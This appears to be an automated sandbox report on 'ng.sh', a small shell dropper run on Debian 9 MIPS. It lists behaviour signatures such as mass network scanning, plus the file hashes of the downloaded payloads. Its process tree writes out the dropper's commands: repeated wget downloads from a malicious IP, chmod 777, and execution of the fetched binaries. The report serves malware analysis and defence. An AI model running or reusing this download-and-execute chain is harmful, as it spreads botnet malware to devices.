Overview

overview

9

Static

static

1

ng.sh

ubuntu-18.04-amd64

7

ng.sh

debian-9-armhf

9

ng.sh

debian-9-mips

9

ng.sh

debian-9-mipsel

9

Analysis

  • max time kernel
    143s
  • max time network
    148s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    08/01/2025, 16:10

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    ng.sh
  • Size 558B
  • Sample250108-tmceysvpet
  • SHA256 97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09
  • MD5 SHA1 SHA512
Score
9/10
defense_evasiondiscovery

Malware Config

Signatures

  • Contacts a large (35848) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 5 IoCs
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Changes its process name 1 IoCs
  • Reads runtime system information 36 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • Writes file to tmp directory 6 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ng.sh
    /tmp/ng.sh
    1⤵
    • Writes file to tmp directory
    PID:703
    • /bin/rm
      rm -rf 12
      2⤵
        PID:705
      • /usr/bin/wget
        wget http://103.136.41.100/12
        2⤵
        • Writes file to tmp directory
        PID:706
      • /bin/chmod
        chmod 777 12
        2⤵
        • File and Directory Permissions Modification
        PID:716
      • /tmp/12
        ./12 netgear.1
        2⤵
        • Executes dropped EXE
        PID:718
      • /bin/rm
        rm -rf 1
        2⤵
          PID:722
        • /bin/rm
          rm -rf 2
          2⤵
            PID:723
          • /usr/bin/wget
            wget http://103.136.41.100/2
            2⤵
            • Writes file to tmp directory
            PID:725
          • /bin/chmod
            chmod 777 2
            2⤵
            • File and Directory Permissions Modification
            PID:734
          • /tmp/2
            ./2 netgear.2
            2⤵
            • Executes dropped EXE
            • Changes its process name
            • Reads runtime system information
            PID:735
          • /bin/rm
            rm -rf 2
            2⤵
              PID:740
            • /bin/rm
              rm -rf 3
              2⤵
                PID:745
              • /usr/bin/wget
                wget http://103.136.41.100/3
                2⤵
                  PID:746
                • /bin/chmod
                  chmod 777 3
                  2⤵
                  • File and Directory Permissions Modification
                  PID:747
                • /tmp/3
                  ./3 netgear.3
                  2⤵
                    PID:749
                  • /bin/rm
                    rm -rf 3
                    2⤵
                      PID:750
                    • /bin/rm
                      rm -rf 4
                      2⤵
                        PID:751
                      • /usr/bin/wget
                        wget http://103.136.41.100/4
                        2⤵
                        • Writes file to tmp directory
                        PID:752
                      • /bin/chmod
                        chmod 777 4
                        2⤵
                        • File and Directory Permissions Modification
                        PID:754
                      • /tmp/4
                        ./4 netgear.4 rm -rf 4
                        2⤵
                        • Executes dropped EXE
                        PID:755
                      • /bin/rm
                        rm -rf 5
                        2⤵
                          PID:757
                        • /usr/bin/wget
                          wget http://103.136.41.100/5
                          2⤵
                          • Writes file to tmp directory
                          PID:758
                        • /bin/chmod
                          chmod 777 5
                          2⤵
                          • File and Directory Permissions Modification
                          PID:759
                        • /tmp/5
                          ./5 netgear.5
                          2⤵
                          • Executes dropped EXE
                          PID:760
                        • /bin/rm
                          rm -rf 5
                          2⤵
                            PID:762
                          • /bin/rm
                            rm -rf 6
                            2⤵
                              PID:763
                            • /usr/bin/wget
                              wget http://103.136.41.100/6
                              2⤵
                              • Writes file to tmp directory
                              PID:764
                            • /bin/chmod
                              chmod 777 6
                              2⤵
                              • File and Directory Permissions Modification
                              PID:765
                            • /tmp/6
                              ./6 netgear.6
                              2⤵
                              • Executes dropped EXE
                              PID:766
                            • /bin/rm
                              rm -rf 6
                              2⤵
                                PID:768
                              • /bin/rm
                                rm -rf ng
                                2⤵
                                  PID:769

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    12
                                    • Path /tmp/12
                                    • Size 100KB
                                    • SHA256 0f5a3371630dc04e62f5f29894c9132acfad6181bdae8baa09e7529b58c658b0
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    2
                                    • Path /tmp/2
                                    • Size 101KB
                                    • SHA256 cf15b2fe6dabe8fee0e9bd37b9005a754892968f5cdba5fd429665c648fb44aa
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    4
                                    • Path /tmp/4
                                    • Size 74KB
                                    • SHA256 e60a25599c7aec9c84793549b4d4047a17712f675759458fd415f402fa4eb502
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    6
                                    • Path /tmp/6
                                    • Size 86KB
                                    • SHA256 6172930c38dd26e935b685df01adc36a546e7219e9d4c22968d5bf86d0399a77
                                    • MD5 SHA1 SHA512 SSDEEP
                                    Submit Download

                                    ng
                                    • Path /tmp/ng
                                    • Size 1B
                                    • SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
                                    • MD5 SHA1 SHA512
                                    Submit Download